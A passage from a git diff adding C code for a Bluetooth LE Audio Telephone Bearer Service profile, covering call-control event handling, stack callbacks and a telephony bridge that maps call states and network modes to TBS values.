break; + } + case STACK_EVENT_LOCAL_RETRIEVE_CALL: { + BT_LOGD("%s, event:%d, tbs_id:%d, call_index:%d", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint16); + break; + } + case STACK_EVENT_ORIGINATE_CALL: { + BT_LOGD("%s, event:%d, tbs_id:%d, uri:%s", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.dataarry); + break; + } + case STACK_EVENT_JOIN_CALL: { + BT_LOGD("%s, event:%d, tbs_id:%d, index_number:%d, index_list:%s", __func__, + msg->event, msg->event_data.tbs_id, msg->event_data.valueint32, + msg->event_data.dataarry); + break; + } + default: { + BT_LOGD("Idle: Unexpected stack event"); + break; + } + } +} + +static void lea_tbs_process_message(void* data) +{ + lea_tbs_msg_t* msg = (lea_tbs_msg_t*)data; + lea_tbs_call_state_t* call; + + lea_tbs_process_debug(msg); + + switch (msg->event) { + case STACK_EVENT_TBS_STATE_CHANGED: { + TBS_CALLBACK_FOREACH(g_tbs_service.callbacks, tbs_test_cb, msg->event_data.valueint8, + msg->event_data.valuebool); + break; + } + case STACK_EVENT_BEARER_SET_CHANED: { + TBS_CALLBACK_FOREACH(g_tbs_service.callbacks, tbs_test_cb, 0, msg->event_data.valuebool); + break; + } + case STACK_EVENT_CALL_ADDED: { + TBS_CALLBACK_FOREACH(g_tbs_service.callbacks, tbs_test_cb, msg->event_data.valueint8, + msg->event_data.valuebool); + break; + } + case STACK_EVENT_CALL_REMOVED: { + TBS_CALLBACK_FOREACH(g_tbs_service.callbacks, tbs_test_cb, msg->event_data.valueint8, + msg->event_data.valuebool); + break; + } + case STACK_EVENT_ACCEPT_CALL: { + char call_id[MAX_CALL_ID_LENGTH]; + sprintf(call_id, "%s%d", CONFIG_BLUETOOTH_LEAUDIO_TBS_CALL_NAME, msg->event_data.valueint8); + + if (lea_tbs_find_call_by_index(msg->event_data.valueint8) != NULL) { + tele_service_accept_call(call_id); + lea_tbs_call_control_response(msg->event_data.valueint8, ADPT_LEA_TBS_CALL_CONTROL_SUCCESS); + } else { + msg->event_data.valueint8 = 0; // TS say Call_Index shall be zero... But TBS spec does not say. + lea_tbs_call_control_response(msg->event_data.valueint8, ADPT_LEA_TBS_CALL_CONTROL_INVALID_CALL_INDEX); + } + break; + } + case STACK_EVENT_TERMINATE_CALL: { + char call_id[MAX_CALL_ID_LENGTH]; + sprintf(call_id, "%s%d", CONFIG_BLUETOOTH_LEAUDIO_TBS_CALL_NAME, msg->event_data.valueint8); + + if (lea_tbs_find_call_by_index(msg->event_data.valueint8) != NULL) { + tele_service_terminate_call(call_id); + lea_tbs_call_control_response(msg->event_data.valueint8, ADPT_LEA_TBS_CALL_CONTROL_SUCCESS); + } else { + msg->event_data.valueint8 = 0; + lea_tbs_call_control_response(msg->event_data.valueint8, ADPT_LEA_TBS_CALL_CONTROL_INVALID_CALL_INDEX); + } + + break; + } + case STACK_EVENT_LOCAL_HOLD_CALL: { + call = lea_tbs_find_call_by_index(msg->event_data.valueint8); + + if (!call) { + lea_tbs_call_control_response(0, ADPT_LEA_TBS_CALL_CONTROL_INVALID_CALL_INDEX); + return; + } + + if (call->state == ADPT_LEA_TBS_CALL_STATE_INCOMING || call->state == ADPT_LEA_TBS_CALL_STATE_ACTIVE || call->state == ADPT_LEA_TBS_CALL_STATE_REMOTELY_HELD) { + tele_service_hold_call(); + lea_tbs_call_control_response(msg->event_data.valueint8, ADPT_LEA_TBS_CALL_CONTROL_SUCCESS); + } else { + lea_tbs_call_control_response(msg->event_data.valueint8, ADPT_LEA_TBS_CALL_CONTROL_OPEARTION_NOT_POSSIBLE); + } + + break; + } + case STACK_EVENT_LOCAL_RETRIEVE_CALL: { + call = lea_tbs_find_call_by_index(msg->event_data.valueint8); + + if (!call) { + lea_tbs_call_control_response(0, ADPT_LEA_TBS_CALL_CONTROL_INVALID_CALL_INDEX); + return; + } + + if (call->state == ADPT_LEA_TBS_CALL_STATE_LOCALLY_HELD) { + tele_service_unhold_call(); + lea_tbs_call_control_response(msg->event_data.valueint8, ADPT_LEA_TBS_CALL_CONTROL_SUCCESS); + } else { + lea_tbs_call_control_response(msg->event_data.valueint8, ADPT_LEA_TBS_CALL_CONTROL_OPEARTION_NOT_POSSIBLE); + } + + break; + } + case STACK_EVENT_ORIGINATE_CALL: { + tele_service_originate_call((char*)msg->event_data.dataarry); + + call = lea_tbs_find_call_by_state(ADPT_LEA_TBS_CALL_STATE_ALERTING); + if (!call) { + lea_tbs_call_control_response(msg->event_data.valueint8, ADPT_LEA_TBS_CALL_CONTROL_SUCCESS); + } else { + msg->event_data.valueint8 = 0; + lea_tbs_call_control_response(msg->event_data.valueint8, ADPT_LEA_TBS_CALL_CONTROL_LACK_OF_RESOURCES); + } + + break; + } + case STACK_EVENT_JOIN_CALL: { + + break; + } + default: { + + break; + } + } + lea_tbs_msg_destory(msg); +} + +static bt_status_t lea_tbs_send_msg(lea_tbs_msg_t* msg) +{ + assert(msg); + + do_in_service_loop(lea_tbs_process_message, msg); + + return BT_STATUS_SUCCESS; +} + +/**************************************************************************** + * sal callbacks + ****************************************************************************/ +void lea_tbs_on_state_changed(uint32_t tbs_id, uint8_t ccid, bool added) +{ + lea_tbs_msg_t* msg; + + msg = lea_tbs_msg_new(STACK_EVENT_TBS_STATE_CHANGED, tbs_id); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint8 = ccid; + msg->event_data.valuebool = added; + + lea_tbs_send_msg(msg); +} + +void lea_tbs_on_bearer_info_set(uint32_t tbs_id, char* bearer_ref, bool result) +{ + lea_tbs_msg_t* msg; + + msg = lea_tbs_msg_new(STACK_EVENT_BEARER_SET_CHANED, tbs_id); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valuebool = result; + strcpy((char*)msg->event_data.dataarry, bearer_ref); + + lea_tbs_send_msg(msg); +} + +void lea_tbs_on_call_added(uint32_t tbs_id, uint8_t call_index, bool result) +{ + lea_tbs_msg_t* msg; + + msg = lea_tbs_msg_new(STACK_EVENT_CALL_ADDED, tbs_id); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint8 = call_index; + msg->event_data.valuebool = result; + + lea_tbs_send_msg(msg); +} + +void lea_tbs_on_call_removed(uint32_t tbs_id, uint8_t call_index) +{ + lea_tbs_msg_t* msg; + + msg = lea_tbs_msg_new(STACK_EVENT_CALL_REMOVED, tbs_id); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint8 = call_index; + + lea_tbs_send_msg(msg); +} + +void lea_tbs_on_accept_call(uint32_t tbs_id, uint8_t call_index) +{ + lea_tbs_msg_t* msg; + + msg = lea_tbs_msg_new(STACK_EVENT_ACCEPT_CALL, tbs_id); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint8 = call_index; + + lea_tbs_send_msg(msg); +} + +void lea_tbs_on_terminate_call(uint32_t tbs_id, uint8_t call_index) +{ + lea_tbs_msg_t* msg; + + msg = lea_tbs_msg_new(STACK_EVENT_TERMINATE_CALL, tbs_id); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint8 = call_index; + + lea_tbs_send_msg(msg); +} + +void lea_tbs_on_local_hold_call(uint32_t tbs_id, uint8_t call_index) +{ + lea_tbs_msg_t* msg; + + msg = lea_tbs_msg_new(STACK_EVENT_LOCAL_HOLD_CALL, tbs_id); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint8 = call_index; + + lea_tbs_send_msg(msg); +} + +void lea_tbs_on_local_retrieve_call(uint32_t tbs_id, uint8_t call_index) +{ + lea_tbs_msg_t* msg; + + msg = lea_tbs_msg_new(STACK_EVENT_LOCAL_RETRIEVE_CALL, tbs_id); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint8 = call_index; + + lea_tbs_send_msg(msg); +} + +void lea_tbs_on_originate_call(uint32_t tbs_id, size_t size, char* uri) +{ + lea_tbs_msg_t* msg; + + if (size < 1) { + BT_LOGW("%s ,the length of uri is zero!", __func__); + return; + } + + msg = lea_tbs_msg_new_ext(STACK_EVENT_ORIGINATE_CALL, tbs_id, size); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + strcpy((char*)msg->event_data.dataarry, uri); + + lea_tbs_send_msg(msg); +} + +void lea_tbs_on_join_call(uint32_t tbs_id, uint8_t index_number, size_t size, char* index_list) +{ + lea_tbs_msg_t* msg; + + if (index_number < 1) { + BT_LOGW("%s ,the number of index is zero!", __func__); + return; + } + + msg = lea_tbs_msg_new_ext(STACK_EVENT_JOIN_CALL, tbs_id, size); + if (!msg) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + msg->event_data.valueint8 = index_number; + strcpy((char*)msg->event_data.dataarry, index_list); + + lea_tbs_send_msg(msg); +} + +/**************************************************************************** + * Private Data + ****************************************************************************/ +bt_status_t lea_tbs_add() +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_tbs_service.tbs_lock); + ret = bt_sal_lea_tbs_add(lea_tbs_id); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + + return BT_STATUS_SUCCESS; +} + +bt_status_t lea_tbs_remove() +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_tbs_service.tbs_lock); + ret = bt_sal_lea_tbs_remove(lea_tbs_id); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + + return BT_STATUS_SUCCESS; +} + +bt_status_t lea_tbs_set_telephone_bearer_info(lea_tbs_telephone_bearer_t* bearer) +{ + CHECK_ENABLED(); + bt_status_t ret; + SERVICE_LEA_TELEPHONE_BEARER_S* tele_bearer; + + tele_bearer = (SERVICE_LEA_TELEPHONE_BEARER_S*)malloc(sizeof(SERVICE_LEA_TELEPHONE_BEARER_S)); + tele_bearer->tbs_id = lea_tbs_id; + tele_bearer->bearer_ref = bearer->bearer_ref; + tele_bearer->provider_name = bearer->provider_name; + tele_bearer->uci = bearer->uci; + tele_bearer->uri_schemes = bearer->uri_schemes; + tele_bearer->technology = bearer->technology; + tele_bearer->signal_strength = bearer->signal_strength; + tele_bearer->signal_strength_report_interval = bearer->signal_strength_report_interval; + tele_bearer->status_flags = bearer->status_flags; + tele_bearer->optional_opcodes_supported = bearer->optional_opcodes_supported; + + pthread_mutex_lock(&g_tbs_service.tbs_lock); + ret = bt_sal_lea_tbs_set_telephone_bearer_info(tele_bearer); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + + return BT_STATUS_SUCCESS; +} + +bt_status_t lea_tbs_add_call(lea_tbs_calls_t* call_s) +{ + CHECK_ENABLED(); + bt_status_t ret; + SERVICE_LEA_TBS_CALL_S* bts_call_s; + + bts_call_s = (SERVICE_LEA_TBS_CALL_S*)malloc(sizeof(SERVICE_LEA_TBS_CALL_S)); + bts_call_s->tbs_id = lea_tbs_id; + bts_call_s->index = call_s->index; + bts_call_s->state = call_s->state; + bts_call_s->flags = call_s->flags; + bts_call_s->call_uri = call_s->call_uri; + bts_call_s->incoming_target_uri = call_s->incoming_target_uri; + bts_call_s->friendly_name = call_s->friendly_name; + + pthread_mutex_lock(&g_tbs_service.tbs_lock); + ret = bt_sal_lea_tbs_add_call(bts_call_s); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + + return BT_STATUS_SUCCESS; +} + +bt_status_t lea_tbs_remove_call(uint8_t call_index) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_tbs_service.tbs_lock); + ret = bt_sal_lea_tbs_remove_call(lea_tbs_id, call_index); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + + return BT_STATUS_SUCCESS; +} + +bt_status_t lea_tbs_provider_name_changed(uint8_t* name) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_tbs_service.tbs_lock); + ret = bt_sal_lea_tbs_provider_name_changed(lea_tbs_id, name); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + + return BT_STATUS_SUCCESS; +} + +bt_status_t lea_tbs_bearer_technology_changed(lea_adpt_bearer_technology_t technology) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_tbs_service.tbs_lock); + ret = bt_sal_lea_tbs_bearer_technology_changed(lea_tbs_id, technology); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + + return BT_STATUS_SUCCESS; +} + +bt_status_t lea_tbs_uri_schemes_supported_list_changed(uint8_t* uri_schemes) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_tbs_service.tbs_lock); + ret = bt_sal_lea_tbs_uri_schemes_supported_list_changed(lea_tbs_id, uri_schemes); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + + return BT_STATUS_SUCCESS; +} + +bt_status_t lea_tbs_rssi_value_changed(uint8_t strength) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_tbs_service.tbs_lock); + ret = bt_sal_lea_tbs_rssi_value_changed(lea_tbs_id, strength); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + + return BT_STATUS_SUCCESS; +} + +bt_status_t lea_tbs_rssi_interval_changed(uint8_t interval) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_tbs_service.tbs_lock); + ret = bt_sal_lea_tbs_rssi_interval_changed(lea_tbs_id, interval); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + + return BT_STATUS_SUCCESS; +} + +bt_status_t lea_tbs_status_flags_changed(uint8_t status_flags) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_tbs_service.tbs_lock); + ret = bt_sal_lea_tbs_status_flags_changed(lea_tbs_id, status_flags); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + + return BT_STATUS_SUCCESS; +} + +bt_status_t lea_tbs_call_state_changed(uint8_t number, + lea_tbs_call_state_t* state_s) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_tbs_service.tbs_lock); + ret = bt_sal_lea_tbs_call_state_changed(lea_tbs_id, number, + (SERVICE_LEA_TBS_CALL_STATE_S*)state_s); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + + return BT_STATUS_SUCCESS; +} + +bt_status_t lea_tbs_notify_termination_reason(uint8_t call_index, + lea_adpt_termination_reason_t reason) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_tbs_service.tbs_lock); + ret = bt_sal_lea_tbs_notify_termination_reason(lea_tbs_id, call_index, reason); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + + return BT_STATUS_SUCCESS; +} + +bt_status_t lea_tbs_call_control_response(uint8_t call_index, + lea_adpt_call_control_result_t result) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_tbs_service.tbs_lock); + ret = bt_sal_lea_tbs_call_control_response(lea_tbs_id, call_index, result); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + + return BT_STATUS_SUCCESS; +} + +static void* lea_tbs_register_callbacks(void* handle, lea_tbs_callbacks_t* callbacks) +{ + if (!g_tbs_service.started) + return NULL; + + return bt_remote_callbacks_register(g_tbs_service.callbacks, handle, (void*)callbacks); +} + +static bool lea_tbs_unregister_callbacks(void** handle, void* cookie) +{ + if (!g_tbs_service.started) + return false; + + return bt_remote_callbacks_unregister(g_tbs_service.callbacks, handle, cookie); +} + +static const lea_tbs_interface_t leaTbsInterface = { + .size = sizeof(leaTbsInterface), + .tbs_add = lea_tbs_add, + .tbs_remove = lea_tbs_remove, + .set_telephone_bearer = lea_tbs_set_telephone_bearer_info, + .add_call = lea_tbs_add_call, + .remove_call = lea_tbs_remove_call, + .provider_name_changed = lea_tbs_provider_name_changed, + .bearer_technology_changed = lea_tbs_bearer_technology_changed, + .uri_schemes_supported_list_changed = lea_tbs_uri_schemes_supported_list_changed, + .rssi_value_changed = lea_tbs_rssi_value_changed, + .rssi_interval_changed = lea_tbs_rssi_interval_changed, + .status_flags_changed = lea_tbs_status_flags_changed, + .call_state_changed = lea_tbs_call_state_changed, + .notify_termination_reason = lea_tbs_notify_termination_reason, + .call_control_response = lea_tbs_call_control_response, + .register_callbacks = lea_tbs_register_callbacks, + .unregister_callbacks = lea_tbs_unregister_callbacks, +}; + +/**************************************************************************** + * Public function + ****************************************************************************/ +static const void* get_lea_tbs_profile_interface(void) +{ + return &leaTbsInterface; +} + +static bt_status_t lea_tbs_init(void) +{ + BT_LOGD("%s", __func__); + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_tbs_startup(profile_on_startup_t cb) +{ + BT_LOGD("%s", __func__); + bt_status_t status; + pthread_mutexattr_t attr; + lea_tbs_service_t* service = &g_tbs_service; + if (service->started) + return BT_STATUS_SUCCESS; + + service->callbacks = bt_callbacks_list_new(2); + if (!service->callbacks) { + status = BT_STATUS_NOMEM; + goto fail; + } + + pthread_mutexattr_init(&attr); + pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); + pthread_mutex_init(&service->tbs_lock, &attr); + service->started = true; + + lea_tbs_add(); + + lea_tbs_tele_service_init(); + + return BT_STATUS_SUCCESS; + +fail: + bt_callbacks_list_free(service->callbacks); + service->callbacks = NULL; + pthread_mutex_destroy(&service->tbs_lock); + return status; +} + +static bt_status_t lea_tbs_shutdown(profile_on_shutdown_t cb) +{ + if (!g_tbs_service.started) + return BT_STATUS_SUCCESS; + + pthread_mutex_lock(&g_tbs_service.tbs_lock); + lea_tbs_remove(); + g_tbs_service.started = false; + + bt_callbacks_list_free(g_tbs_service.callbacks); + g_tbs_service.callbacks = NULL; + pthread_mutex_unlock(&g_tbs_service.tbs_lock); + pthread_mutex_destroy(&g_tbs_service.tbs_lock); + return BT_STATUS_SUCCESS; +} + +static void lea_tbs_cleanup(void) +{ + BT_LOGD("%s", __func__); +} + +static int lea_tbs_dump(void) +{ + printf("impl leaudio tbs dump"); + return 0; +} + +static const profile_service_t lea_tbs_service = { + .auto_start = true, + .name = PROFILE_TBS_NAME, + .id = PROFILE_LEAUDIO_TBS, + .transport = BT_TRANSPORT_BLE, + .uuid = { BT_UUID128_TYPE, { 0 } }, + .init = lea_tbs_init, + .startup = lea_tbs_startup, + .shutdown = lea_tbs_shutdown, + .process_msg = NULL, + .get_state = NULL, + .get_profile_interface = get_lea_tbs_profile_interface, + .cleanup = lea_tbs_cleanup, + .dump = lea_tbs_dump, +}; + +void register_lea_tbs_service(void) +{ + register_service(&lea_tbs_service); +} + +#endif \ No newline at end of file diff --git a/service/profiles/leaudio/tbs/lea_tbs_tele_service.c b/service/profiles/leaudio/tbs/lea_tbs_tele_service.c new file mode 100644 index 0000000000000000000000000000000000000000..53320bbc2b86aed04ce932e2d25f7db4a5c140f1 --- /dev/null +++ b/service/profiles/leaudio/tbs/lea_tbs_tele_service.c @@ -0,0 +1,401 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "lea_tbs_tele_service" + +#include <errno.h> +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <sys/types.h> + +#include "bt_lea_tbs.h" +#include "bt_list.h" +#include "lea_tbs_service.h" +#include "lea_tbs_tele_service.h" +#include "sal_lea_tbs_interface.h" +#include "tapi.h" +#include "utils/log.h" + +#ifdef CONFIG_BLUETOOTH_LEAUDIO_TBS + +#define TBS_EVENT_REQUEST_DIAL_DONE 0x71 +#define TBS_EVENT_REQUEST_CALL_LIST_DONE 0x76 +#define PRIMARY_SLOT CONFIG_BLUETOOTH_LEAUDIO_TBS_PRIMARY_SLOT + +#define BTS_DEFAULT_BEARER_REF "1" +#define BTS_DEFAULT_TECH LEA_TBS_BEARER_5G +#define BTS_DEFAULT_SIGNAL_STRENGTH 100 +#define BTS_DEFAULT_SIGNAL_STRENGTH_REPORT_INTERVAL 0 +#define BTS_DEFAULT_STATUS_FLAGS LEA_TBS_STATUS_INBAND_RINGTONE_ENABLED | LEA_TBS_STATUS_SERVER_IN_SILENT_MODE +#define BTS_DEFAULT_OPTIONAL_OPCODE_SUPPORTED LEA_TBS_SUPPORTED_CCP_OP_LOCAL_HOLD | LEA_TBS_SUPPORTED_CCP_OP_JOIN + +static const char* BTS_DEFAULT_NAME = "unknown"; +static const char* BTS_DEFAULT_UCI = "GTBS"; +static const char* BTS_DEFAULT_URI_SCHEMES = "tel"; + +static tapi_context context; +static bt_list_t* g_current_calls = NULL; +static bool isRemoteControl = false; + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +static uint8_t get_call_index(char* call_id) +{ + int length = strlen(call_id); + char temp = (call_id)[length - 1]; + uint8_t call_index = temp - '0'; + return call_index; +} + +static lea_adpt_call_state_t call_state_to_tbs_state(int state) +{ + lea_adpt_call_state_t tbs_state; + + if (state == CALL_STATUS_ACTIVE) { + tbs_state = ADPT_LEA_TBS_CALL_STATE_ACTIVE; + } else if (state == CALL_STATUS_HELD) { + tbs_state = ADPT_LEA_TBS_CALL_STATE_LOCALLY_HELD; + } else if (state == CALL_STATUS_DIALING) { + tbs_state = ADPT_LEA_TBS_CALL_STATE_DIALING; + } else if (state == CALL_STATUS_ALERTING) { + tbs_state = ADPT_LEA_TBS_CALL_STATE_ALERTING; + } else if (state == CALL_STATUS_INCOMING) { + tbs_state = ADPT_LEA_TBS_CALL_STATE_INCOMING; + } else if (state == CALL_STATUS_WAITING) { + tbs_state = ADPT_LEA_TBS_CALL_STATE_INCOMING; + } else { + BT_LOGW("%s, Others State:%d\n", __func__, state); + } + return tbs_state; +} + +static tapi_pref_net_mode net_mode_to_tbs_tech(int netMode) +{ + lea_adpt_bearer_technology_t tbs_tech; + + if (netMode == NETWORK_PREF_NET_TYPE_UMTS) { + tbs_tech = ADPT_LEA_TBS_BEARER_3G; + } else if (netMode == NETWORK_PREF_NET_TYPE_GSM_ONLY) { + tbs_tech = ADPT_LEA_TBS_BEARER_GSM; + } else if (netMode == NETWORK_PREF_NET_TYPE_WCDMA_ONLY) { + tbs_tech = ADPT_LEA_TBS_BEARER_WCDMA; + } else if (netMode == NETWORK_PREF_NET_TYPE_LTE_ONLY) { + tbs_tech = ADPT_LEA_TBS_BEARER_LTE; + } else { + BT_LOGW("%s, Others Net Mode:%d\n", __func__, netMode); + } + return tbs_tech; +} + +static lea_adpt_termination_reason_t call_term_reason_to_tbs_reason(int reason) +{ + lea_adpt_termination_reason_t tbs_reason; + + if (reason == CALL_DISCONNECT_REASON_LOCAL_HANGUP) { + if (isRemoteControl) { + tbs_reason = ADPT_LEA_TBS_REASON_ENDED_BY_CLIENT; + isRemoteControl = false; + } else { + tbs_reason = ADPT_LEA_TBS_REASON_ENDED_FROM_SERVER; + } + } else if (reason == CALL_DISCONNECT_REASON_REMOTE_HANGUP) { + tbs_reason = ADPT_LEA_TBS_REASON_ENDED_BY_REMOTE; + } else if (reason == CALL_DISCONNECT_REASON_NETWORK_HANGUP) { + tbs_reason = ADPT_LEA_TBS_REASON_NETWORK_CONGESTION; + } else { + BT_LOGW("%s, Others Terminate Reason: %d\n", __func__, reason); + } + return tbs_reason; +} + +static uint8_t lea_tbs_get_call_flags(uint8_t state) +{ + uint8_t call_flags = 0; + switch (state) { + case ADPT_LEA_TBS_CALL_STATE_INVAILD: { + call_flags = 0; + break; + } + + case LEA_TBS_CALL_STATE_INCOMING: { + call_flags &= ~ADPT_LEA_CALL_FLAGS_OUTGOING_CALL; + call_flags &= ~ADPT_LEA_CALL_FLAGS_INFORMATION_WITHHELD_BY_NETWORK; + call_flags &= ~ADPT_LEA_CALL_FLAGS_INFORMATION_WITHHELD_BY_SERVER; + break; + } + + case ADPT_LEA_TBS_CALL_STATE_DIALING: + case ADPT_LEA_TBS_CALL_STATE_ALERTING: { + call_flags |= ADPT_LEA_CALL_FLAGS_OUTGOING_CALL; + call_flags &= ~ADPT_LEA_CALL_FLAGS_INFORMATION_WITHHELD_BY_NETWORK; + call_flags &= ~ADPT_LEA_CALL_FLAGS_INFORMATION_WITHHELD_BY_SERVER; + break; + } + + case ADPT_LEA_TBS_CALL_STATE_ACTIVE: { + call_flags &= ~ADPT_LEA_CALL_FLAGS_INFORMATION_WITHHELD_BY_NETWORK; + call_flags &= ~ADPT_LEA_CALL_FLAGS_INFORMATION_WITHHELD_BY_SERVER; + break; + } + + case ADPT_LEA_TBS_CALL_STATE_LOCALLY_HELD: { + call_flags &= ~ADPT_LEA_CALL_FLAGS_INFORMATION_WITHHELD_BY_NETWORK; + call_flags |= ADPT_LEA_CALL_FLAGS_INFORMATION_WITHHELD_BY_SERVER; + break; + } + + case ADPT_LEA_TBS_CALL_STATE_REMOTELY_HELD: { + call_flags |= ADPT_LEA_CALL_FLAGS_INFORMATION_WITHHELD_BY_NETWORK; + call_flags &= ~ADPT_LEA_CALL_FLAGS_INFORMATION_WITHHELD_BY_SERVER; + break; + } + + case ADPT_LEA_TBS_CALL_STATE_BOTH_HELD: { + call_flags |= ADPT_LEA_CALL_FLAGS_INFORMATION_WITHHELD_BY_NETWORK; + call_flags |= ADPT_LEA_CALL_FLAGS_INFORMATION_WITHHELD_BY_SERVER; + break; + } + } + return call_flags; +} + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +static bool lea_tbs_call_cmp_index(void* call, void* call_index) +{ + return ((lea_tbs_call_state_t*)call)->index == *((uint8_t*)call_index); +} + +static bool lea_tbs_call_cmp_state(void* call, void* call_state) +{ + return ((lea_tbs_call_state_t*)call)->state == *((uint8_t*)call_state); +} + +lea_tbs_call_state_t* lea_tbs_find_call_by_index(uint8_t call_index) +{ + lea_tbs_call_state_t* call; + + call = bt_list_find(g_current_calls, lea_tbs_call_cmp_index, &call_index); + + return call; +} + +lea_tbs_call_state_t* lea_tbs_find_call_by_state(uint8_t call_state) +{ + lea_tbs_call_state_t* call; + + call = bt_list_find(g_current_calls, lea_tbs_call_cmp_state, &call_state); + + return call; +} + +lea_tbs_calls_t* lea_tbs_tele_add_call(tapi_call_info* call_info) +{ + BT_LOGD("%s", __func__); + if (lea_tbs_find_call_by_index(get_call_index(call_info->call_id)) != NULL) + return NULL; + + lea_tbs_calls_t* call_s; + + call_s = (lea_tbs_calls_t*)malloc(sizeof(lea_tbs_calls_t)); + if (!call_s) { + BT_LOGE("error, malloc %s", __func__); + return NULL; + } + + call_s->index = get_call_index(call_info->call_id); + call_s->state = call_state_to_tbs_state(call_info->state); + call_s->flags = lea_tbs_get_call_flags(call_info->state); + strcpy((char*)call_s->call_uri, 